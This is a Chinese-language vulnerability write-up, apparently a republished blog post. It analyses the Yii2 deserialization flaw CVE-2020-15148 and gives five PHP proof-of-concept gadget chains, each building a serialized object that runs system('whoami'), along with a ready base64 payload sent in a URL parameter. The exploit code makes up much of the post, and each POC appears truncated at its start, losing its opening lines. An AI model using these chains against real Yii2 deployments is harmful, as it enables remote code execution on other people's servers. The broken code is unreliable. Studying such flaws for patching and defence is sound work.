代码审计|[代码审计]yii2 反序列化漏洞分析

前言 漏洞存在版本<2.0.38
CVE-2020-15148
框架搭建 【代码审计|[代码审计]yii2 反序列化漏洞分析】直接去github下载,修改好cookie的key,然后就可以访问/web了
代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

漏洞分析 先看github里作者的提交
代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

可以发现在 framework/db/BatchQueryResult.php 里面添加了_wakeup方法
我们就直奔这里去看了

yii2.0.37/vendor/yiisoft/yii2/db/BatchQueryResult.php

看到这里的__distruct()入口方法
代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

会进去reset方法,但是进去可能就close了,但是这个_dataReader是可以控制的,到时候我们构造poc的时候可以添加析构方法为他赋值!这里$this->_dataReader就可以触发一个__call方法
全局搜一下__call方法,发现这个类里面有妙处
/vendor/fzaninotto/faker/src/Faker/Generator.php

public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }/** * @param string $formatter * * @return Callable */ public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formtters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); } /** * @param string $method * @param array $attributes * * @return mixed */ public function __call($method, $attributes) { return $this->format($method, $attributes); }

可以发现,__call进去,就直接进format了,而format里面就会直接执行call_user_func_array,跟进一下他的参数
先跟进一下getFormatter,发现这里返回的是formatters,这个参数是我们可控的!
代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

但是另一个$attributes就不可控了,这里是可以执行一些无参数的函数,但是如果只是调用php原生的那肯定做不了什么事情,我们需要调用yii框架里面自带的无参数方法看看有没有能进一步利用的
继续全局搜索,看看有没有那个无参数方法里面调用了call_user_func
这里是用的正则去搜索,这个正则折腾了好久
function \w*\(\)\n? *\{(.*\n)+ *call_user_func

大概意思就是 function 开头,接着是一段字符接上()后换行,并只匹配0或1次,这里就表示无参数的函数了,但是我们可以更狠一点,直接搜索无参数方法中有call_user_func的,那么就继续加上* \{匹配前面的表达式0次或多次后加上大括号,然后在call_user_func前面多次匹配上一堆除了换行之外的字符后加上换行:(.*\n)+ *,最后加上call_user_func
这样就很精准的匹配到无参数方法中有call_user_func函数的方法了
这里找到了一个,简直不要太好打
/vendor/yiisoft/yii2/rest/CreateAction.php

public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }此处省略 }

checkAccess和id都是我们可控的!那么这条链子就打通了,我们构造一下poc
POC1
checkAccess = 'system'; $this->id = 'whoami'; } } }namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters["close"] = [new CreateAction, 'run']; } } }namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>

payload:
web?r=test/test&data=https://www.it610.com/article/TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6Indob2FtaSI7fWk6MTtzOjM6InJ1biI7fX19fQ==

成功rce
代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

这条链子的总的攻击思路为
1. BatchQueryResult里面__destruct入口函数调用了reset()函数 2. reset()函数内:$this->_dataReader->close(); 其中_dataReader可控 3. 触发__call方法,找到可利用的call方法:Generator,但是只能执行无参数函数 4. 寻找框架内的可利用的无参数函数,Generator的run

这条链子最后一个寻找无参数可利用函数的时候,还有一个可以利用
POC2
vendor/yiisoft/yii2/rest/IndexAction.php

public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }return $this->prepareDataProvider(); }

poc
checkAccess = 'system'; $this->id = 'whoami'; } } }namespace Faker{ use yii\rest\IndexAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters["close"] = [new IndexAction, 'run']; } } }namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>

POC3 作者在2.0.38只修复了BatchQueryResult,那么我们能不能再找一个__destruct入口函数去调用call方法,接上后面的链子呢?
全局搜索__destruct下,找到这个类也可以
/vendor/codeception/codeception/ext/RunProcess.php

public function __destruct() { $this->stopProcess(); }public function stopProcess() { foreach (array_reverse($this->processes) as $process) { /** @var $process Process**/ if (!$process->isRunning()) { continue; } $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine()); $process->stop(); } $this->processes = []; }

可以发现,这里调用了$process->isRunning(),而且这里的process是可控的!那么我们接上上面的链子就可以继续打
checkAccess = 'system'; $this->id = 'whoami'; } } }namespace Faker{ use yii\rest\IndexAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters["isRunning"] = [new IndexAction, 'run']; } } }namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct(){ $this->processes[] = new Generator; } } } namespace{ echo base64_encode(serialize(new Codeception\Extension\RunProcess)); } ?>

POC4 不得不说,师傅们太强了,这里还找到了一个链子
在这个文件里面
/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php

public function clearAll($nsKey) { if (array_key_exists($nsKey, $this->keys)) { foreach ($this->keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } if (is_dir($this->path.'/'.$nsKey)) { rmdir($this->path.'/'.$nsKey); } unset($this->keys[$nsKey]); } }public function __destruct() { foreach ($this->keys as $nsKey => $null) { $this->clearAll($nsKey); } }

可以发现,这里进了clearAll后,里面会有一个字符串拼接的操作,而path是我们可控的,那么我们就可以执行__toString方法了,找一下能利用的__toString方法
这里找到了一个这个Cover.php
/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Covers.php

很明显这里可以调用call方法,直接接上去就可以了
代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

poc
checkAccess = 'system'; $this->id = 'whoami'; } } }namespace Faker{ use yii\rest\IndexAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters["render"] = [new IndexAction, 'run']; } } }namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator; class Cover{ public function __construct(){ $this->description=new Generator; } } }namespace{ use phpDocumentor\Reflection\DocBlock\Tags\Cover; class Swift_KeyCache_DiskKeyCache{ private $path; private $keys = []; public function __construct(){ $this->keys=array('aaa'=>'bbb'); $this->path=new Cover(); }}echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache)); }?>

成功rce
代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

这些也是可以的,很多很多
代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

POC5 除了刚刚的__call方法,其实还有一个思路,就是直接去找能利用的close()方法
在这个文件里面找到能利用的点
/vendor/yiisoft/yii2/web/DbSession.php

public function close() { if ($this->getIsActive()) { // prepare writeCallback fields before session closes $this->fields = $this->composeFields(); YII_DEBUG ? session_write_close() : @session_write_close(); } }

跟进composeFields方法
protected function composeFields($id = null, $data = https://www.it610.com/article/null) { $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : []; if ($id !== null) { $fields['id'] = $id; } if ($data !== null) { $fields['data'] = $data; } return $fields; }

可以看到这里是有一个call_user_func函数的,而且writeCallback是可控的,那么就可以接上IndexAction的run
poc
checkAccess = 'system'; $this->id = 'whoami'; } } }namespace yii\web{use yii\rest\IndexAction; class DbSession { public $writeCallback; public function __construct(){ $a=new IndexAction(); $this->writeCallback=[$a,'run']; } } } namespace yii\db{use yii\web\DbSession; class BatchQueryResult { private $_dataReader; public function __construct(){ $this->_dataReader=new DbSession(); } } }namespace{use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); }

代码审计|[代码审计]yii2 反序列化漏洞分析
文章图片

总结
poc1: BatchQueryResult.__destruct() -> BatchQueryResult.reset() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> IndexAction.run()poc2:BatchQueryResult.__destruct() -> BatchQueryResult.reset() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()poc3: RunProcess.__destruct() -> RunProcess.stopProcess() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()poc4: Swift_KeyCache_DiskKeyCache.__destruct() -> Swift_KeyCache_DiskKeyCache.clearAll() -> Cover.__toString() -> Cover.render() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()poc5: BatchQueryResult.__destruct() -> DbSession.close() -> DbSession.composeFields() -> IndexAction.run

大概就分析了这些链,感觉上来说还是不算很难,也是学到了一些代码审计的知识和技巧,那么多条链子,每次成功rce的时候还是很有成就感的
参考链接:
  1. https://ego00.blog.csdn.net/article/details/113824239
  2. https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA

    推荐阅读